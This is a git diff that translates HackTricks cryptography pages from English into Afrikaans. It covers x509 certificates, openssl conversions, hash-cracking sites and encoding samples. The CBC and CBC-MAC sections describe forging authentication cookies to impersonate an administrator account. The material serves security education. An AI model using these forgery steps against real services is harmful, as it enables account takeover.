- [https://www.mycryptopedia.com/public-key-private-key-explained/](https://www.mycryptopedia.com/public-key-private-key-explained/)

View File

@ -1,47 +1,38 @@
# Certificates
# Sertifikate
{{#include ../banners/hacktricks-training.md}}
<figure><img src="../images/image (48).png" alt=""><figcaption></figcaption></figure>
## Wat is 'n Sertifikaat
\
Use [**Trickest**](https://trickest.com/?utm_source=hacktricks&utm_medium=text&utm_campaign=ppc&utm_term=trickest&utm_content=certificates) to easily build and **automate workflows** powered by the world's **most advanced** community tools.\
Get Access Today:
'n **Publieke sleutelsertifikaat** is 'n digitale ID wat in kriptografie gebruik word om te bewys dat iemand 'n publieke sleutel besit. Dit sluit die sleutel se besonderhede, die eienaar se identiteit (die onderwerp), en 'n digitale handtekening van 'n vertroude gesag (die uitgewer) in. As die sagteware die uitgewer vertrou en die handtekening geldig is, is veilige kommunikasie met die sleutel se eienaar moontlik.
{% embed url="https://trickest.com/?utm_source=hacktricks&utm_medium=banner&utm_campaign=ppc&utm_content=certificates" %}
Sertifikate word meestal uitgereik deur [sertifikaatowerhede](https://en.wikipedia.org/wiki/Certificate_authority) (CAs) in 'n [publieke sleutel infrastruktuur](https://en.wikipedia.org/wiki/Public-key_infrastructure) (PKI) opstelling. 'n Ander metode is die [web van vertroue](https://en.wikipedia.org/wiki/Web_of_trust), waar gebruikers mekaar se sleutels direk verifieer. Die algemene formaat vir sertifikate is [X.509](https://en.wikipedia.org/wiki/X.509), wat aangepas kan word vir spesifieke behoeftes soos uiteengesit in RFC 5280.
## What is a Certificate
## x509 Algemene Velde
A **public key certificate** is a digital ID used in cryptography to prove someone owns a public key. It includes the key's details, the owner's identity (the subject), and a digital signature from a trusted authority (the issuer). If the software trusts the issuer and the signature is valid, secure communication with the key's owner is possible.
### **Algemene Velde in x509 Sertifikate**
Certificates are mostly issued by [certificate authorities](https://en.wikipedia.org/wiki/Certificate_authority) (CAs) in a [public-key infrastructure](https://en.wikipedia.org/wiki/Public-key_infrastructure) (PKI) setup. Another method is the [web of trust](https://en.wikipedia.org/wiki/Web_of_trust), where users directly verify each others keys. The common format for certificates is [X.509](https://en.wikipedia.org/wiki/X.509), which can be adapted for specific needs as outlined in RFC 5280.
In x509 sertifikate speel verskeie **velde** kritieke rolle in die versekerings van die sertifikaat se geldigheid en sekuriteit. Hier is 'n uiteensetting van hierdie velde:
## x509 Common Fields
- **Weergawe Nommer** dui die x509 formaat se weergawe aan.
- **Serienommer** identifiseer die sertifikaat uniek binne 'n Sertifikaatowerheid se (CA) stelsel, hoofsaaklik vir herroepingopsporing.
- Die **Onderwerp** veld verteenwoordig die sertifikaat se eienaar, wat 'n masjien, 'n individu, of 'n organisasie kan wees. Dit sluit gedetailleerde identifikasie in soos:
- **Algemene Naam (CN)**: Domeine wat deur die sertifikaat gedek word.
- **Land (C)**, **Plaaslikeheid (L)**, **Staat of Provinsie (ST, S, of P)**, **Organisasie (O)**, en **Organisatoriese Eenheid (OU)** verskaf geografiese en organisatoriese besonderhede.
- **Gekennede Naam (DN)** sluit die volle onderwerp identifikasie in.
- **Uitgewer** gee besonderhede oor wie die sertifikaat geverifieer en onderteken het, insluitend soortgelyke subvelde soos die Onderwerp vir die CA.
- **Geldigheidsperiode** word gemerk deur **Nie Voor** en **Nie Na** tydstempels, wat verseker dat die sertifikaat nie voor of na 'n sekere datum gebruik word nie.
- Die **Publieke Sleutel** afdeling, wat van kardinale belang is vir die sertifikaat se sekuriteit, spesifiseer die algoritme, grootte, en ander tegniese besonderhede van die publieke sleutel.
- **x509v3 uitbreidings** verbeter die sertifikaat se funksionaliteit, wat **Sleutel Gebruik**, **Verlengde Sleutel Gebruik**, **Onderwerp Alternatiewe Naam**, en ander eienskappe spesifiseer om die sertifikaat se toepassing te verfyn.
### **Common Fields in x509 Certificates**
In x509 certificates, several **fields** play critical roles in ensuring the certificate's validity and security. Here's a breakdown of these fields:
- **Version Number** signifies the x509 format's version.
- **Serial Number** uniquely identifies the certificate within a Certificate Authority's (CA) system, mainly for revocation tracking.
- The **Subject** field represents the certificate's owner, which could be a machine, an individual, or an organization. It includes detailed identification such as:
- **Common Name (CN)**: Domains covered by the certificate.
- **Country (C)**, **Locality (L)**, **State or Province (ST, S, or P)**, **Organization (O)**, and **Organizational Unit (OU)** provide geographical and organizational details.
- **Distinguished Name (DN)** encapsulates the full subject identification.
- **Issuer** details who verified and signed the certificate, including similar subfields as the Subject for the CA.
- **Validity Period** is marked by **Not Before** and **Not After** timestamps, ensuring the certificate is not used before or after a certain date.
- The **Public Key** section, crucial for the certificate's security, specifies the algorithm, size, and other technical details of the public key.
- **x509v3 extensions** enhance the certificate's functionality, specifying **Key Usage**, **Extended Key Usage**, **Subject Alternative Name**, and other properties to fine-tune the certificate's application.
#### **Key Usage and Extensions**
- **Key Usage** identifies cryptographic applications of the public key, like digital signature or key encipherment.
- **Extended Key Usage** further narrows down the certificate's use cases, e.g., for TLS server authentication.
- **Subject Alternative Name** and **Basic Constraint** define additional host names covered by the certificate and whether it's a CA or end-entity certificate, respectively.
- Identifiers like **Subject Key Identifier** and **Authority Key Identifier** ensure uniqueness and traceability of keys.
- **Authority Information Access** and **CRL Distribution Points** provide paths to verify the issuing CA and check certificate revocation status.
- **CT Precertificate SCTs** offer transparency logs, crucial for public trust in the certificate.
#### **Sleutel Gebruik en Uitbreidings**
- **Sleutel Gebruik** identifiseer kriptografiese toepassings van die publieke sleutel, soos digitale handtekening of sleutel versleuteling.
- **Verlengde Sleutel Gebruik** beperk verder die sertifikaat se gebruiksgevalle, bv. vir TLS bedienerverifikasie.
- **Onderwerp Alternatiewe Naam** en **Basiese Beperking** definieer addisionele gasheername wat deur die sertifikaat gedek word en of dit 'n CA of eindentiteit sertifikaat is, onderskeidelik.
- Identifiseerders soos **Onderwerp Sleutel Identifiseerder** en **Gesags Sleutel Identifiseerder** verseker uniekheid en opspoorbaarheid van sleutels.
- **Gesags Inligting Toegang** en **CRL Verspreidingspunte** bied paaie om die uitreikende CA te verifieer en die sertifikaat se herroepingstatus te kontroleer.
- **CT Precertifikaat SCTs** bied deursigtigheidlogs, wat van kardinale belang is vir publieke vertroue in die sertifikaat.
```python
# Example of accessing and using x509 certificate fields programmatically:
from cryptography import x509
@ -49,8 +40,8 @@ from cryptography.hazmat.backends import default_backend
# Load an x509 certificate (assuming cert.pem is a certificate file)
with open("cert.pem", "rb") as file:
cert_data = file.read()
certificate = x509.load_pem_x509_certificate(cert_data, default_backend())
cert_data = file.read()
certificate = x509.load_pem_x509_certificate(cert_data, default_backend())
# Accessing fields
serial_number = certificate.serial_number
@ -63,160 +54,123 @@ print(f"Issuer: {issuer}")
print(f"Subject: {subject}")
print(f"Public Key: {public_key}")
```
### **Verskil tussen OCSP en CRL Verspreidingspunte**
### **Difference between OCSP and CRL Distribution Points**
**OCSP** (**RFC 2560**) behels 'n kliënt en 'n responder wat saamwerk om te kontroleer of 'n digitale publieke sleutelsertifikaat herroep is, sonder om die volle **CRL** af te laai. Hierdie metode is meer doeltreffend as die tradisionele **CRL**, wat 'n lys van herroepte sertifikaatserienommers verskaf, maar vereis dat 'n potensieel groot lêer afgelaai word. CRL's kan tot 512 inskrywings insluit. Meer besonderhede is beskikbaar [hier](https://www.arubanetworks.com/techdocs/ArubaOS%206_3_1_Web_Help/Content/ArubaFrameStyles/CertRevocation/About_OCSP_and_CRL.htm).
**OCSP** (**RFC 2560**) involves a client and a responder working together to check if a digital public-key certificate has been revoked, without needing to download the full **CRL**. This method is more efficient than the traditional **CRL**, which provides a list of revoked certificate serial numbers but requires downloading a potentially large file. CRLs can include up to 512 entries. More details are available [here](https://www.arubanetworks.com/techdocs/ArubaOS%206_3_1_Web_Help/Content/ArubaFrameStyles/CertRevocation/About_OCSP_and_CRL.htm).
### **Wat is Sertifikaat Deursigtigheid**
### **What is Certificate Transparency**
Sertifikaat Deursigtigheid help om sertifikaatverwante bedreigings te bekamp deur te verseker dat die uitreiking en bestaan van SSL-sertifikate sigbaar is vir domeineienaars, CA's en gebruikers. Die doelwitte is:
Certificate Transparency helps combat certificate-related threats by ensuring the issuance and existence of SSL certificates are visible to domain owners, CAs, and users. Its objectives are:
- Om te voorkom dat CA's SSL-sertifikate vir 'n domein uitreik sonder die domeineienaar se kennis.
- Om 'n oop ouditstelsel te vestig vir die opsporing van per ongeluk of kwaadwillig uitgereikte sertifikate.
- Om gebruikers teen bedrogsertifikate te beskerm.
- Preventing CAs from issuing SSL certificates for a domain without the domain owner's knowledge.
- Establishing an open auditing system for tracking mistakenly or maliciously issued certificates.
- Safeguarding users against fraudulent certificates.
#### **Sertifikaat Logs**
#### **Certificate Logs**
Sertifikaat logs is publiek ouditbaar, append-alleen rekords van sertifikate, wat deur netwerkdienste onderhou word. Hierdie logs bied kriptografiese bewysstukke vir ouditdoeleindes. Beide uitreikowerhede en die publiek kan sertifikate aan hierdie logs indien of dit raadpleeg vir verifikasie. Terwyl die presiese aantal logbedieners nie vasgestel is nie, word verwag dat dit minder as 'n duisend wêreldwyd sal wees. Hierdie bedieners kan onafhanklik bestuur word deur CA's, ISP's, of enige belanghebbende entiteit.
Certificate logs are publicly auditable, append-only records of certificates, maintained by network services. These logs provide cryptographic proofs for auditing purposes. Both issuance authorities and the public can submit certificates to these logs or query them for verification. While the exact number of log servers is not fixed, it's expected to be less than a thousand globally. These servers can be independently managed by CAs, ISPs, or any interested entity.
#### **Navraag**
#### **Query**
Om Sertifikaat Deursigtigheid logs vir enige domein te verken, besoek [https://crt.sh/](https://crt.sh).
To explore Certificate Transparency logs for any domain, visit [https://crt.sh/](https://crt.sh).
Verskillende formate bestaan vir die stoor van sertifikate, elk met sy eie gebruiksgevalle en kompatibiliteit. Hierdie opsomming dek die hoofformate en bied leiding oor die omskakeling tussen hulle.
Different formats exist for storing certificates, each with its own use cases and compatibility. This summary covers the main formats and provides guidance on converting between them.
## **Formate**
## **Formats**
### **PEM Formaat**
### **PEM Format**
- Meest gebruikte formaat vir sertifikate.
- Vereis aparte lêers vir sertifikate en private sleutels, geënkodeer in Base64 ASCII.
- Algemene uitbreidings: .cer, .crt, .pem, .key.
- Primêr gebruik deur Apache en soortgelyke bedieners.
- Most widely used format for certificates.
- Requires separate files for certificates and private keys, encoded in Base64 ASCII.
- Common extensions: .cer, .crt, .pem, .key.
- Primarily used by Apache and similar servers.
### **DER Formaat**
### **DER Format**
- 'n Binaire formaat van sertifikate.
- Ontbreek die "BEGIN/END CERTIFICATE" verklarings wat in PEM-lêers gevind word.
- Algemene uitbreidings: .cer, .der.
- Gereeld gebruik met Java platforms.
- A binary format of certificates.
- Lacks the "BEGIN/END CERTIFICATE" statements found in PEM files.
- Common extensions: .cer, .der.
- Often used with Java platforms.
### **P7B/PKCS#7 Formaat**
### **P7B/PKCS#7 Format**
- Gestoor in Base64 ASCII, met uitbreidings .p7b of .p7c.
- Bevat slegs sertifikate en kettingsertifikate, met uitsluiting van die private sleutel.
- Ondersteun deur Microsoft Windows en Java Tomcat.
- Stored in Base64 ASCII, with extensions .p7b or .p7c.
- Contains only certificates and chain certificates, excluding the private key.
- Supported by Microsoft Windows and Java Tomcat.
### **PFX/P12/PKCS#12 Formaat**
### **PFX/P12/PKCS#12 Format**
- 'n Binaire formaat wat bedienersertifikate, intermediêre sertifikate, en private sleutels in een lêer inkapsuleer.
- Uitbreidings: .pfx, .p12.
- Hoofsaaklik gebruik op Windows vir sertifikaat invoer en uitvoer.
- A binary format that encapsulates server certificates, intermediate certificates, and private keys in one file.
- Extensions: .pfx, .p12.
- Mainly used on Windows for certificate import and export.
### **Omskakeling van Formate**
### **Converting Formats**
**PEM conversions** are essential for compatibility:
- **x509 to PEM**
**PEM omskakelings** is noodsaaklik vir kompatibiliteit:
- **x509 na PEM**
```bash
openssl x509 -in certificatename.cer -outform PEM -out certificatename.pem
```
- **PEM to DER**
- **PEM na DER**
```bash
openssl x509 -outform der -in certificatename.pem -out certificatename.der
```
- **DER to PEM**
- **DER na PEM**
```bash
openssl x509 -inform der -in certificatename.der -out certificatename.pem
```
- **PEM to P7B**
- **PEM na P7B**
```bash
openssl crl2pkcs7 -nocrl -certfile certificatename.pem -out certificatename.p7b -certfile CACert.cer
```
- **PKCS7 to PEM**
- **PKCS7 na PEM**
```bash
openssl pkcs7 -print_certs -in certificatename.p7b -out certificatename.pem
```
**PFX omskakelings** is noodsaaklik vir die bestuur van sertifikate op Windows:
**PFX conversions** are crucial for managing certificates on Windows:
- **PFX to PEM**
- **PFX na PEM**
```bash
openssl pkcs12 -in certificatename.pfx -out certificatename.pem
```
- **PFX to PKCS#8** involves two steps:
1. Convert PFX to PEM
- **PFX na PKCS#8** behels twee stappe:
1. Skakel PFX na PEM om
```bash
openssl pkcs12 -in certificatename.pfx -nocerts -nodes -out certificatename.pem
```
2. Convert PEM to PKCS8
2. Skakel PEM na PKCS8
```bash
openSSL pkcs8 -in certificatename.pem -topk8 -nocrypt -out certificatename.pk8
```
- **P7B to PFX** also requires two commands:
1. Convert P7B to CER
- **P7B na PFX** vereis ook twee opdragte:
1. Skakel P7B na CER om
```bash
openssl pkcs7 -print_certs -in certificatename.p7b -out certificatename.cer
```
2. Convert CER and Private Key to PFX
2. Skakel CER en Privaat Sleutel na PFX
```bash
openssl pkcs12 -export -in certificatename.cer -inkey privateKey.key -out certificatename.pfx -certfile cacert.cer
```
- **ASN.1 (DER/PEM) editing** (works with certificates or almost any other ASN.1 structure):
1. Clone [asn1template](https://github.com/wllm-rbnt/asn1template/)
- **ASN.1 (DER/PEM) redigering** (werk met sertifikate of byna enige ander ASN.1 struktuur):
1. Clone [asn1template](https://github.com/wllm-rbnt/asn1template/)
```bash
git clone https://github.com/wllm-rbnt/asn1template.git
```
2. Convert DER/PEM to OpenSSL's generation format
2. Skakel DER/PEM na OpenSSL se generasieformaat om
```bash
asn1template/asn1template.pl certificatename.der > certificatename.tpl
asn1template/asn1template.pl -p certificatename.pem > certificatename.tpl
```
3. Edit certificatename.tpl according to your requirements
3. Wysig certificatename.tpl volgens jou vereistes
```bash
vim certificatename.tpl
```
4. Rebuild the modified certificate
4. Bou die gewysigde sertifikaat weer op
```bash
openssl asn1parse -genconf certificatename.tpl -out certificatename_new.der
openssl asn1parse -genconf certificatename.tpl -outform PEM -out certificatename_new.pem
```
---
<figure><img src="../images/image (48).png" alt=""><figcaption></figcaption></figure>
\
Use [**Trickest**](https://trickest.com/?utm_source=hacktricks&utm_medium=text&utm_campaign=ppc&utm_term=trickest&utm_content=certificates) to easily build and **automate workflows** powered by the world's **most advanced** community tools.\
Get Access Today:
{% embed url="https://trickest.com/?utm_source=hacktricks&utm_medium=banner&utm_campaign=ppc&utm_content=certificates" %}
---
{{#include ../banners/hacktricks-training.md}}

View File

@ -2,54 +2,54 @@
# CBC
If the **cookie** is **only** the **username** (or the first part of the cookie is the username) and you want to impersonate the username "**admin**". Then, you can create the username **"bdmin"** and **bruteforce** the **first byte** of the cookie.
As die **cookie** **net** die **gebruikersnaam** is (of die eerste deel van die cookie is die gebruikersnaam) en jy wil die gebruikersnaam "**admin**" naboots. Dan kan jy die gebruikersnaam **"bdmin"** skep en die **eerste byte** van die cookie **bruteforce**.
# CBC-MAC
**Cipher block chaining message authentication code** (**CBC-MAC**) is a method used in cryptography. It works by taking a message and encrypting it block by block, where each block's encryption is linked to the one before it. This process creates a **chain of blocks**, making sure that changing even a single bit of the original message will lead to an unpredictable change in the last block of encrypted data. To make or reverse such a change, the encryption key is required, ensuring security.
**Cipher block chaining message authentication code** (**CBC-MAC**) is 'n metode wat in kriptografie gebruik word. Dit werk deur 'n boodskap blok vir blok te enkripteer, waar elke blok se enkripsie aan die een voor dit gekoppel is. Hierdie proses skep 'n **ketting van blokke**, wat verseker dat die verandering van selfs 'n enkele bit van die oorspronklike boodskap sal lei tot 'n onvoorspelbare verandering in die laaste blok van enkripteerde data. Om so 'n verandering te maak of omgekeerd, is die enkripsiesleutel nodig, wat sekuriteit verseker.
To calculate the CBC-MAC of message m, one encrypts m in CBC mode with zero initialization vector and keeps the last block. The following figure sketches the computation of the CBC-MAC of a message comprising blocks![https://wikimedia.org/api/rest_v1/media/math/render/svg/bbafe7330a5e40a04f01cc776c9d94fe914b17f5](https://wikimedia.org/api/rest_v1/media/math/render/svg/bbafe7330a5e40a04f01cc776c9d94fe914b17f5) using a secret key k and a block cipher E:
Om die CBC-MAC van boodskap m te bereken, enkripteer 'n mens m in CBC-modus met 'n nul-inisialisasievector en hou die laaste blok. Die volgende figuur skets die berekening van die CBC-MAC van 'n boodskap wat uit blokke bestaan![https://wikimedia.org/api/rest_v1/media/math/render/svg/bbafe7330a5e40a04f01cc776c9d94fe914b17f5](https://wikimedia.org/api/rest_v1/media/math/render/svg/bbafe7330a5e40a04f01cc776c9d94fe914b17f5) met 'n geheime sleutel k en 'n blok-kodering E:
![https://upload.wikimedia.org/wikipedia/commons/thumb/b/bf/CBC-MAC_structure_(en).svg/570px-CBC-MAC_structure_(en).svg.png](<https://upload.wikimedia.org/wikipedia/commons/thumb/b/bf/CBC-MAC_structure_(en).svg/570px-CBC-MAC_structure_(en).svg.png>)
# Vulnerability
# Kwetsbaarheid
With CBC-MAC usually the **IV used is 0**.\
This is a problem because 2 known messages (`m1` and `m2`) independently will generate 2 signatures (`s1` and `s2`). So:
Met CBC-MAC is die **IV wat gebruik word gewoonlik 0**.\
Dit is 'n probleem omdat 2 bekende boodskappe (`m1` en `m2`) onafhanklik 2 handtekeninge (`s1` en `s2`) sal genereer. So:
- `E(m1 XOR 0) = s1`
- `E(m2 XOR 0) = s2`
Then a message composed by m1 and m2 concatenated (m3) will generate 2 signatures (s31 and s32):
Dan sal 'n boodskap wat uit m1 en m2 saamgevoeg is (m3) 2 handtekeninge (s31 en s32) genereer:
- `E(m1 XOR 0) = s31 = s1`
- `E(m2 XOR s1) = s32`
**Which is possible to calculate without knowing the key of the encryption.**
**Wat moontlik is om te bereken sonder om die sleutel van die enkripsie te ken.**
Imagine you are encrypting the name **Administrator** in **8bytes** blocks:
Stel jou voor jy enkripteer die naam **Administrator** in **8bytes** blokke:
- `Administ`
- `rator\00\00\00`
You can create a username called **Administ** (m1) and retrieve the signature (s1).\
Then, you can create a username called the result of `rator\00\00\00 XOR s1`. This will generate `E(m2 XOR s1 XOR 0)` which is s32.\
now, you can use s32 as the signature of the full name **Administrator**.
Jy kan 'n gebruikersnaam genaamd **Administ** (m1) skep en die handtekening (s1) terugkry.\
Dan kan jy 'n gebruikersnaam skep wat die resultaat is van `rator\00\00\00 XOR s1`. Dit sal `E(m2 XOR s1 XOR 0)` genereer wat s32 is.\
Nou kan jy s32 as die handtekening van die volle naam **Administrator** gebruik.
### Summary
### Samevatting
1. Get the signature of username **Administ** (m1) which is s1
2. Get the signature of username **rator\x00\x00\x00 XOR s1 XOR 0** is s32**.**
3. Set the cookie to s32 and it will be a valid cookie for the user **Administrator**.
1. Kry die handtekening van gebruikersnaam **Administ** (m1) wat s1 is
2. Kry die handtekening van gebruikersnaam **rator\x00\x00\x00 XOR s1 XOR 0** is s32**.**
3. Stel die cookie op s32 en dit sal 'n geldige cookie wees vir die gebruiker **Administrator**.
# Attack Controlling IV
# Aanval Beheer IV
If you can control the used IV the attack could be very easy.\
If the cookies is just the username encrypted, to impersonate the user "**administrator**" you can create the user "**Administrator**" and you will get it's cookie.\
Now, if you can control the IV, you can change the first Byte of the IV so **IV\[0] XOR "A" == IV'\[0] XOR "a"** and regenerate the cookie for the user **Administrator.** This cookie will be valid to **impersonate** the user **administrator** with the initial **IV**.
As jy die gebruikte IV kan beheer, kan die aanval baie maklik wees.\
As die cookies net die gebruikersnaam is wat geënkripteer is, om die gebruiker "**administrator**" na te boots, kan jy die gebruiker "**Administrator**" skep en jy sal sy cookie kry.\
Nou, as jy die IV kan beheer, kan jy die eerste byte van die IV verander sodat **IV\[0] XOR "A" == IV'\[0] XOR "a"** en die cookie vir die gebruiker **Administrator** hergenereer. Hierdie cookie sal geldig wees om die gebruiker **administrator** met die aanvanklike **IV** na te boots.
## References
## Verwysings
More information in [https://en.wikipedia.org/wiki/CBC-MAC](https://en.wikipedia.org/wiki/CBC-MAC)
Meer inligting in [https://en.wikipedia.org/wiki/CBC-MAC](https://en.wikipedia.org/wiki/CBC-MAC)
{{#include ../banners/hacktricks-training.md}}

View File

@ -2,9 +2,9 @@
{{#include ../banners/hacktricks-training.md}}
## Online Hashes DBs
## Aanlyn Hashes DBs
- _**Google it**_
- _**Google dit**_
- [http://hashtoolkit.com/reverse-hash?hash=4d186321c1a7f0f354b297e8914ab240](http://hashtoolkit.com/reverse-hash?hash=4d186321c1a7f0f354b297e8914ab240)
- [https://www.onlinehashcrack.com/](https://www.onlinehashcrack.com)
- [https://crackstation.net/](https://crackstation.net)
@ -25,7 +25,7 @@
## Encoders
Most of encoded data can be decoded with these 2 ressources:
Meeste van die geënkodeerde data kan met hierdie 2 hulpbronne gedecodeer word:
- [https://www.dcode.fr/tools-list](https://www.dcode.fr/tools-list)
- [https://gchq.github.io/CyberChef/](https://gchq.github.io/CyberChef/)
@ -33,7 +33,7 @@ Most of encoded data can be decoded with these 2 ressources:
### Substitution Autosolvers
- [https://www.boxentriq.com/code-breaking/cryptogram](https://www.boxentriq.com/code-breaking/cryptogram)
- [https://quipqiup.com/](https://quipqiup.com) - Very good !
- [https://quipqiup.com/](https://quipqiup.com) - Baie goed!
#### Caesar - ROTx Autosolvers
@ -45,95 +45,90 @@ Most of encoded data can be decoded with these 2 ressources:
### Base Encodings Autosolver
Check all these bases with: [https://github.com/dhondta/python-codext](https://github.com/dhondta/python-codext)
Kontroleer al hierdie basisse met: [https://github.com/dhondta/python-codext](https://github.com/dhondta/python-codext)
- **Ascii85**
- `BQ%]q@psCd@rH0l`
- `BQ%]q@psCd@rH0l`
- **Base26** \[_A-Z_]
- `BQEKGAHRJKHQMVZGKUXNT`
- `BQEKGAHRJKHQMVZGKUXNT`
- **Base32** \[_A-Z2-7=_]
- `NBXWYYLDMFZGCY3PNRQQ====`
- `NBXWYYLDMFZGCY3PNRQQ====`
- **Zbase32** \[_ybndrfg8ejkmcpqxot1uwisza345h769_]
- `pbzsaamdcf3gna5xptoo====`
- `pbzsaamdcf3gna5xptoo====`
- **Base32 Geohash** \[_0-9b-hjkmnp-z_]
- `e1rqssc3d5t62svgejhh====`
- `e1rqssc3d5t62svgejhh====`
- **Base32 Crockford** \[_0-9A-HJKMNP-TV-Z_]
- `D1QPRRB3C5S62RVFDHGG====`
- `D1QPRRB3C5S62RVFDHGG====`
- **Base32 Extended Hexadecimal** \[_0-9A-V_]
- `D1NMOOB3C5P62ORFDHGG====`
- `D1NMOOB3C5P62ORFDHGG====`
- **Base45** \[_0-9A-Z $%\*+-./:_]
- `59DPVDGPCVKEUPCPVD`
- `59DPVDGPCVKEUPCPVD`
- **Base58 (bitcoin)** \[_1-9A-HJ-NP-Za-km-z_]
- `2yJiRg5BF9gmsU6AC`
- `2yJiRg5BF9gmsU6AC`
- **Base58 (flickr)** \[_1-9a-km-zA-HJ-NP-Z_]
- `2YiHqF5bf9FLSt6ac`
- `2YiHqF5bf9FLSt6ac`
- **Base58 (ripple)** \[_rpshnaf39wBUDNEGHJKLM4PQ-T7V-Z2b-eCg65jkm8oFqi1tuvAxyz_]
- `pyJ5RgnBE9gm17awU`
- `pyJ5RgnBE9gm17awU`
- **Base62** \[_0-9A-Za-z_]
- `g2AextRZpBKRBzQ9`
- `g2AextRZpBKRBzQ9`
- **Base64** \[_A-Za-z0-9+/=_]
- `aG9sYWNhcmFjb2xh`
- `aG9sYWNhcmFjb2xh`
- **Base67** \[_A-Za-z0-9-_.!\~\_]
- `NI9JKX0cSUdqhr!p`
- `NI9JKX0cSUdqhr!p`
- **Base85 (Ascii85)** \[_!"#$%&'()\*+,-./0-9:;<=>?@A-Z\[\\]^\_\`a-u_]
- `BQ%]q@psCd@rH0l`
- `BQ%]q@psCd@rH0l`
- **Base85 (Adobe)** \[_!"#$%&'()\*+,-./0-9:;<=>?@A-Z\[\\]^\_\`a-u_]
- `<~BQ%]q@psCd@rH0l~>`
- `<~BQ%]q@psCd@rH0l~>`
- **Base85 (IPv6 or RFC1924)** \[_0-9A-Za-z!#$%&()\*+-;<=>?@^_\`{|}\~\_]
- `Xm4y`V\_|Y(V{dF>\`
- `Xm4y`V\_|Y(V{dF>\`
- **Base85 (xbtoa)** \[_!"#$%&'()\*+,-./0-9:;<=>?@A-Z\[\\]^\_\`a-u_]
- `xbtoa Begin\nBQ%]q@psCd@rH0l\nxbtoa End N 12 c E 1a S 4e6 R 6991d`
- `xbtoa Begin\nBQ%]q@psCd@rH0l\nxbtoa End N 12 c E 1a S 4e6 R 6991d`
- **Base85 (XML)** \[\_0-9A-Za-y!#$()\*+,-./:;=?@^\`{|}\~z\_\_]
- `Xm4y|V{~Y+V}dF?`
- `Xm4y|V{~Y+V}dF?`
- **Base91** \[_A-Za-z0-9!#$%&()\*+,./:;<=>?@\[]^\_\`{|}\~"_]
- `frDg[*jNN!7&BQM`
- `frDg[*jNN!7&BQM`
- **Base100** \[]
- `👟👦👣👘👚👘👩👘👚👦👣👘`
- `👟👦👣👘👚👘👩👘👚👦👣👘`
- **Base122** \[]
- `4F ˂r0Xmvc`
- `4F ˂r0Xmvc`
- **ATOM-128** \[_/128GhIoPQROSTeUbADfgHijKLM+n0pFWXY456xyzB7=39VaqrstJklmNuZvwcdEC_]
- `MIc3KiXa+Ihz+lrXMIc3KbCC`
- `MIc3KiXa+Ihz+lrXMIc3KbCC`
- **HAZZ15** \[_HNO4klm6ij9n+J2hyf0gzA8uvwDEq3X1Q7ZKeFrWcVTts/MRGYbdxSo=ILaUpPBC5_]
- `DmPsv8J7qrlKEoY7`
- `DmPsv8J7qrlKEoY7`
- **MEGAN35** \[_3G-Ub=c-pW-Z/12+406-9Vaq-zA-F5_]
- `kLD8iwKsigSalLJ5`
- `kLD8iwKsigSalLJ5`
- **ZONG22** \[_ZKj9n+yf0wDVX1s/5YbdxSo=ILaUpPBCHg8uvNO4klm6iJGhQ7eFrWczAMEq3RTt2_]
- `ayRiIo1gpO+uUc7g`
- `ayRiIo1gpO+uUc7g`
- **ESAB46** \[]
- `3sHcL2NR8WrT7mhR`
- `3sHcL2NR8WrT7mhR`
- **MEGAN45** \[]
- `kLD8igSXm2KZlwrX`
- `kLD8igSXm2KZlwrX`
- **TIGO3FX** \[]
- `7AP9mIzdmltYmIP9mWXX`
- `7AP9mIzdmltYmIP9mWXX`
- **TRIPO5** \[]
- `UE9vSbnBW6psVzxB`
- `UE9vSbnBW6psVzxB`
- **FERON74** \[]
- `PbGkNudxCzaKBm0x`
- `PbGkNudxCzaKBm0x`
- **GILA7** \[]
- `D+nkv8C1qIKMErY1`
- `D+nkv8C1qIKMErY1`
- **Citrix CTX1** \[]
- `MNGIKCAHMOGLKPAKMMGJKNAINPHKLOBLNNHILCBHNOHLLPBK`
- `MNGIKCAHMOGLKPAKMMGJKNAINPHKLOBLNNHILCBHNOHLLPBK`
[http://k4.cba.pl/dw/crypo/tools/eng_atom128c.html](http://k4.cba.pl/dw/crypo/tools/eng_atom128c.html) - 404 Dead: [https://web.archive.org/web/20190228181208/http://k4.cba.pl/dw/crypo/tools/eng_hackerize.html](https://web.archive.org/web/20190228181208/http://k4.cba.pl/dw/crypo/tools/eng_hackerize.html)
[http://k4.cba.pl/dw/crypo/tools/eng_atom128c.html](http://k4.cba.pl/dw/crypo/tools/eng_atom128c.html) - 404 Dood: [https://web.archive.org/web/20190228181208/http://k4.cba.pl/dw/crypo/tools/eng_hackerize.html](https://web.archive.org/web/20190228181208/http://k4.cba.pl/dw/crypo/tools/eng_hackerize.html)
### HackerizeXS \[_╫Λ↻├☰┏_]
```
╫☐↑Λ↻Λ┏Λ↻☐↑Λ
```
- [http://k4.cba.pl/dw/crypo/tools/eng_hackerize.html](http://k4.cba.pl/dw/crypo/tools/eng_hackerize.html) - 404 Dead: [https://web.archive.org/web/20190228181208/http://k4.cba.pl/dw/crypo/tools/eng_hackerize.html](https://web.archive.org/web/20190228181208/http://k4.cba.pl/dw/crypo/tools/eng_hackerize.html)
- [http://k4.cba.pl/dw/crypo/tools/eng_hackerize.html](http://k4.cba.pl/dw/crypo/tools/eng_hackerize.html) - 404 Dood: [https://web.archive.org/web/20190228181208/http://k4.cba.pl/dw/crypo/tools/eng_hackerize.html](https://web.archive.org/web/20190228181208/http://k4.cba.pl/dw/crypo/tools/eng_hackerize.html)
### Morse
```
.... --- .-.. -.-. .- .-. .- -.-. --- .-.. .-
```
- [http://k4.cba.pl/dw/crypo/tools/eng_morse-encode.html](http://k4.cba.pl/dw/crypo/tools/eng_morse-encode.html) - 404 Dead: [https://gchq.github.io/CyberChef/](https://gchq.github.io/CyberChef/)
- [http://k4.cba.pl/dw/crypo/tools/eng_morse-encode.html](http://k4.cba.pl/dw/crypo/tools/eng_morse-encode.html) - 404 Dood: [https://gchq.github.io/CyberChef/](https://gchq.github.io/CyberChef/)
### UUencoder
```
begin 644 webutils_pl
M2$],04A/3$%(3TQ!2$],04A/3$%(3TQ!2$],04A/3$%(3TQ!2$],04A/3$%(
@ -142,98 +137,81 @@ F3$%(3TQ!2$],04A/3$%(3TQ!2$],04A/3$%(3TQ!2$],04A/3$$`
`
end
```
- [http://www.webutils.pl/index.php?idx=uu](http://www.webutils.pl/index.php?idx=uu)
### XXEncoder
```
begin 644 webutils_pl
hG2xAEIVDH236Hol-G2xAEIVDH236Hol-G2xAEIVDH236Hol-G2xAEIVDH236
5Hol-G2xAEE++
end
```
